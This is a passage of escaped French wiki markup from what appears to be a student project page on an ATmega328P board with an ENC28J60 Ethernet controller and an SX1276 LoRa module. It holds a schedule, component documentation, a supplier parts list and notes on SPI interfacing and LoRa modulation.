 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
